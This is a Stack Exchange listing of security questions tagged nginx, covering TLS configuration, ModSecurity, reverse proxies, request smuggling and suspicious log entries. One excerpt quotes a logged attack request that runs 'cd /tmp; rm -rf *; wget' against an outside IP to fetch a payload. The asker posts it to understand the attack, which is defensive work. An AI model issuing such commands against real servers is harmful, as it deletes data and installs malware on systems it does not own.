Skip to main content
OverflowAI is here! AI power for your Stack Overflow for Teams knowledge community. Learn more

Questions tagged [nginx]

nginx [engine x] is an HTTP and reverse proxy server, written by Igor Sysoev

Filter by
Sorted by
Tagged with
0 votes
2 answers
123 views

Automatically check if a certificate matches specific ciphers

My nginx backend server supports the following ciphers: ssl_ciphers "TLS_AES_256_GCM_SHA384:TLS_CHACHA20_POLY1305_SHA256:TLS_AES_128_GCM_SHA256:DHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:...
Shahar G's user avatar
2 votes
1 answer
227 views

Modsecurity blocks blocks my legit XHR POST request (403 forbidden)

I'm new to modsecurity topic so maybe my question is stupid but... I have setup modsecurity on my new nginx/1.24.0 server with default set of recommended rules: coreruleset-3.3.0 and since then my ...
Picard's user avatar
  • 121
1 vote
1 answer
240 views

How do you verify if a request is from a genuine user or from a malicious user?

Consider clientA which wants to verify payments and serverB which verifies payments. ClientA sends around a million requests to serverB's API in 1 day. However, only 1% of the requests from clientA ...
Team B.I's user avatar
  • 141
0 votes
0 answers
183 views

How to reproduce Tomcat 9.0.0.M1 HTTP smuggling vulnerabilities?

I'm trying to reproduce some of the Tomcat 9.x.x vulnerabilities from this list, in particular the HTTP smuggling vulnerabilities. However, so far I haven't been able to reproduce any of them. ...
Franklin Pezzuti Dyer's user avatar
0 votes
2 answers
909 views

docker daemon reports 'tls: unconfigured cipher suite' for Nginx reverse proxy of Artifactory Docker registry

I am migrating to Artifactory on RHEL8 as a Docker remote repository, i.e. Artifactory is a proxy for a docker registry hosted through Jfrog.io. We have a legacy registry with config in /etc/docker/...
bbaassssiiee's user avatar
0 votes
1 answer
101 views

Does using Apache/nginx actually improve security of a webapp?

Let's say there is a webapp where users can upload files with sensitive data and view analytics generated by the backend. Does using a reverse proxy like nginx or Apache actually help with the ...
BigMistake's user avatar
0 votes
0 answers
92 views

Trying to generate TLS 1.3 Alert

I am trying to run tests on the TLS 1.3 protocol and I would like to generate alerts (as seen in TLS 1.2) that have a structure of the type ALERT:FATAL UNEXPECTED MESSAGE. So far, I have tried to use ...
Multi Uni's user avatar
0 votes
0 answers
533 views

HTTP request smuggling on NGINX gives error 400?

I'm learning about HTTP request smuggling and for this i'm trying to "break" into a broken site that is running under docker. The architecture of the site is Cache -> NGINX -> site. ...
Maria Ines Parnisari's user avatar
3 votes
0 answers
974 views

Weird hack attempt nginx proxy manager and photoprism drives me nuts

I have a logged http request in nginx logs which drives me nuts because I don't understand how it's finding its way into the logs: [03/Jul/2023:13:45:04 +0000] 400 - GET http localhost "/bin/...
MuchToKnow's user avatar
0 votes
1 answer
438 views

Getting a couple of remote login and calls into Ubuntu server?

I have a ubuntu server (Ubuntu 22.10 x64) on Digital Ocean. And I am using fastapi, uvicorn, gunicorn and nginx as I used it for my backend api calls from my frontend and my frontend IP is dynamic. ...
felix's user avatar
  • 1
0 votes
0 answers
162 views

Prevent read access to other users' files using SELinux

While running a VPS for shared hosting, I put the data for the various users and websites as /var/www/[USER]/public_html/[DOMAIN]/.... I'd like to make sure that one user cannot access data from ...
Taco de Wolff's user avatar
0 votes
0 answers
882 views

Arbitrary File Upload Vulnerability

I have found an arbitrary file upload vulnerability on a flask application that I was playing with that essentially allows me to append to any file (and create new ones) in the file system. The code ...
João Andreotti's user avatar
1 vote
1 answer
1k views

Website randomly downloading html files to visitors [closed]

Another behaviour I found on a website with malware issues. It keeps downloading random files like one named s2bbGoEJ.html to users computers. It actually tried to automatically download one such file ...
JM John's user avatar
  • 11
0 votes
1 answer
510 views

Cloudflare not hide VPS IP (ngnix)

I have a problem with hiding the VPS IP using Cloudflare. My IP can be found on search.censys.io. I don't have any DNS leaks. I'm using nginx to reverse proxy a node.js server. Is it possible to hide ...
MomboteQ's user avatar
1 vote
1 answer
339 views

Do you encrypt traffic between GKE nodes and external Load balancers?

I have a GKE standard deployment in GCP. I have TLS terminating at an IAAS managed load balancer, provided by their Ingress controller. The certificates are GoogleManagedCertificates. I'm fine with ...
mango's user avatar
  • 113
1 vote
2 answers
265 views

Can an NGINX reverse proxy reveal the backend if serving non-static content?

My setup consists of a public-facing VPS running NGINX, and a local machine running certain services. The VPS and the local machine are connected using WireGuard, and NGINX on the VPS is using ...
blissful.sizable603's user avatar
1 vote
2 answers
2k views

How bad it is to open qBittorrent web UI port

I have small home server that runs a qBittorrent in docker container, and I was wondering how bad/risky it is if I'd forward the port for the web UI so I can access it from outside my network. I know ...
Razero's user avatar
  • 111
2 votes
1 answer
508 views

Is better for security to not run Nginx and Backend inside docker but use docker only for database and not external exposed services?

I'm not a Docker specialist, I know how to install, configure and do only basic Docker hardening based on Docker official documentation. I know nothing about AppArmor,SELinux and GRSEC. But i need to ...
Awill Moto's user avatar
0 votes
1 answer
397 views

Suspicious looking requests to my NGINX server

For the past 2 weeks, I have observed 4-5 spikes in 5xx responses. After looking into the logs, I found a series of: > 51.159.150.125 - - [16/Sep/2022:06:37:55 +0200] "GET /some-legitimate-...
Jovan Perovic's user avatar
1 vote
0 answers
153 views

When passing through SSL from web server A to web server B (via nginx), does web server A need SSL configured as well, or just web server B?

I'm using nginx here as an example, but this is really more of a conceptual question about SSL termination and TCP that could apply to any web server. Basically, if web server A receives TCP traffic ...
Paul Z's user avatar
  • 111
0 votes
0 answers
226 views

Very slow SOAP POST request processing with ModSecure for certain rules (SQL, IIS and system exploits)

While trying to implement NGinx WAF with ModSecurity 3.0.6 I am facing the issue with very poor XML SOAP POST performance. Rrequests takes ~5 seconds with occasional spikes up to 10 seconds. If I ...
Elvinas's user avatar
0 votes
0 answers
15 views

Can anyone help finding what's shady things are logged on my nginx webserver? [duplicate]

I have a hosted a simple react website(testing) with nginx webserver and cloudflare as ssl provider.My website is down from few days with cloudflare error 525 "SSL handshake failed".I was ...
ashdcodes's user avatar
0 votes
1 answer
231 views

Ruby on Rails: Request to http://\localhost/admin/config.php

I got an exception notification for a request from 92.118.39.180:61001 to: http://\localhost/admin/config.php This is the notification: ------------------------------- Request: ------------------------...
Railsana's user avatar
  • 103
0 votes
1 answer
332 views

How might I rate-limit in nginx against a distributed attacker that has set the number of parallel connections in xerxes to 1?

An attacker tweaks xerxes by setting the number of CONNECTIONS in xerxes to 1 instead of 8, like so: #define CONNECTIONS 1 They then attack with xerxes-executable mydomain 433. Their strategy is to ...
John Smith's user avatar
0 votes
1 answer
576 views

TLS session tickets between proxy and upstreams

I'm planning to implement (nginx) ssl_session_tickets in addition to ssl_session_cache between a proxy and upstream. They're not located in the same DC so TLS must be in place. My questions are : 1) ...
CrazyRabbit's user avatar
0 votes
1 answer
687 views

LAN Only Webserver

I am on a 192.x.x.x network and have a local server that hosts some webapps for the local users of the network. The server is running: Ubuntu VPN Nginx Reverse Proxy with the site.conf including: ...
nerdball8000's user avatar
2 votes
0 answers
632 views

What are NGINX reverseproxy users doing to prevent HTTP Request smuggling?

Since NGINX does not support sending HTTP/2 requests upstream, what are the present NGINX reverseproxy users doing to mitigate HTTP Request Smuggling vulnerability? I understand that the best way to ...
Sai Vishnu's user avatar
1 vote
1 answer
2k views

Should we enable UFW for EC2 (Ubuntu Server) instance with Nginx?

I just finished installing Nginx on my EC2 Ubuntu Server (AWS) and everything looks normal. I tested it on my browser by accessing my EC2 public IP. I can see Nginx's welcome message. It's not a big ...
mr_ternary's user avatar
1 vote
1 answer
428 views

How to stop multiple port access attempts - multiple TIME_WAIT and ESTABLISHED lines on ports 80, 443, etc... from external IPs

I have nginx as reverse proxy and apache in the back, a firewall setup to enable just http and https, and ssh. netstat -tlupna gives me tens of lines with multiple TIME_WAIT or ESTABLISHED lines ...
myke's user avatar
  • 13
0 votes
0 answers
267 views

Possible VNC-over-HTTP exploit involving Nginx?

I have the following setup Nginx + php-fpm, Nginx is running on port 80 and 443. Recently I noticed that connections were made from this servers port 80 to a remote machine on port 580x. [ src port is ...
termcap's user avatar
  • 31
0 votes
1 answer
373 views

Why is my SecAction rule being ignored?

I'm trying to configure a SecAction rule to help me tune ModSecurity 3 following this How to tune your WAF installation to reduce false positives tutorial, but the rule seems to be ignored and the msg ...
Ronaldo's user avatar
  • 51
1 vote
1 answer
2k views

Blocking nginx from nmap version detection [duplicate]

Is there an efficient way to hide nginx from Nmap's Version Detection scan (nmap -sV)? The following is a sample result, we are trying to hide the nginx (reverse proxy) string. PORT STATE SERVICE ...
jonathan's user avatar
0 votes
1 answer
497 views

How to use DH certificate to configure nginx server

My purpose is to leverage DH algorithm to enhance self-signed certificate (A toy in local computer). I refered the answer of Matt Caswell. It works fine to generate the dhcert.pem but fail to ...
Jiawei Cao's user avatar
1 vote
1 answer
342 views

Encryption with Tomcat & Nginx reverse proxy

I'm working with Tomcat and nginx as a reverse proxy and I'm trying to have a better understanding of how the traffic flows and of what the security issues are. Picture this as what I have in mind: ...
SilentSib's user avatar
1 vote
1 answer
2k views

Changing $_SERVER['REMOTE_ADDR'] remotely

On a nginx web-server running the following config is to possible to change $_SERVER['REMOTE_ADDR'] remotely?: user www; pid /run/nginx.pid; error_log /dev/stderr info; events { ...
t40_yx's user avatar
  • 45
1 vote
1 answer
3k views

Spam GET And POST Requests - Are They Dangerous?

I am getting a lot of spam GET and POST requests lately which some of them look like this: "GET /config/getuser?index=0 HTTP/1.1" 404 143 "-" "Mozilla/5.0 (X11; Ubuntu; Linux ...
user avatar
1 vote
1 answer
638 views

Can a machine running a packet sniffer see what nginx is forwarding on localhost to a Flask app?

I want to serve a Flask application from my pc. Other machines in my network only should be able to consume the API. However, I wish to have the communication between the other machines and the API ...
Theo Stefou's user avatar
1 vote
2 answers
231 views

Is it unsafe to publish your nginx configs?

I've recently started to automate a lot of my tasks for my private VPS. A significant part of working with this server is ensuring the nginx webserver, which handles a reverse proxy to multiple ...
Cobalt's user avatar
  • 113
2 votes
3 answers
773 views

Is there any way for a client to view headers set by an NGINX reverse proxy?

I am setting up an NGINX reverse proxy, which sits in front of an API. I would like to use: proxy_set_header X-Secret-Key ${SECRET_VALUE}; to add a token to the request, which is then read by the API. ...
Lachy's user avatar
  • 121
3 votes
0 answers
178 views

Is this nginx config suitable to enforce proper authorization?

Scenario I have a website secret.example.com, which contains information which must not be disclosed to third parties. In order to protect the information, TLS client authentication was chosen. ...
user avatar
1 vote
1 answer
948 views

Why is php-fpm trying to connect somewhere on port 443?

I have nginx and php-fm set up to front a word press site. I used certbot to setup TLS. When I load any page, I see selinux violations and it looks like php-fpm is trying to reach out to some port ...
Freedom_Ben's user avatar
0 votes
0 answers
150 views

DDoS in form of bad bots?

Recently, one of my servers came under attack by DDoSing it. After inspection of access logs, I can only find one common denominator: Referrer. All of request come with (I assume) fake referrer: ...
Jovan Perovic's user avatar
1 vote
1 answer
6k views

"unsupported certificate purpose" for nginx client auth

Please concern the following setup: A client certificate is issued like this: Root CA → Intermediate CA → Client Cert Let's assume everything is fine up to here, the intermediate CA cert is properly ...
ahuemmer's user avatar
  • 143
1 vote
1 answer
6k views

Mongo DB hacked (read_me_to_recover) without the port exposed in the firewall?

I have recently set up parse-server on a DO VPS using 3 docker containers; one for parse-server, one for parse-server dashboard and one for mongodb. Because I am just testing this setup I left the ...
userRR's user avatar
  • 111
0 votes
2 answers
309 views

Unusal GET requests in my nodejs journal - has my nginx/node been hacked? [duplicate]

Saw this in the journalctl for a service I have: jul 29 12:39:05 ubuntu-18 node[796]: GET http://www.123cha.com/ 200 147.463 ms - 8485 jul 29 12:39:10 ubuntu-18 node[796]: GET http://www.rfa.org/...
minisaurus's user avatar
0 votes
1 answer
148 views

Nginx module security

Im considering using this nginx module https://github.com/leev/ngx_http_geoip2_module to get the Information from which Country the IP is. My question is since im compiling the module by myself, how ...
member2's user avatar
  • 23
4 votes
1 answer
648 views

Why request shell commands from nginx?

I was playing around with nginx and noticed that within 1-2 hours of putting it online, I got entries like this in my logs: 170.81.46.70 - - "GET /shell?cd+/tmp;rm+-rf+*;wget+ 45.14.224.220/jaws;...
Artimithe55's user avatar
0 votes
1 answer
4k views

HTTP Basic Auth and CSRF

I would like to know if the Basic Authentication header for site A can be sent from site B when trying to access site A for non-GET requests (which would make the site vulnerable to CSRF attacks). I ...
Lucas Basquerotto's user avatar
3 votes
2 answers
1k views

User authentication: In HTTP Server vs. in Web Application

Management decided to switch the authentication-backend from LDAP to Kerberos as LDAP is deemed "obsolete and insecure". Also they want to switch from Apache to nginx for "performance ...
Hermann's user avatar
  • 140
1 vote
0 answers
137 views

Is there a way to limit cookies to certain hosts in HTTP?

Using Nginx, I hope to restrict the permissible hosts for cookies. My initial intention was to employ a Content Security Policy for this purpose, but I don't see an obvious way to do this via a CSP. ...
Alex V's user avatar
  • 200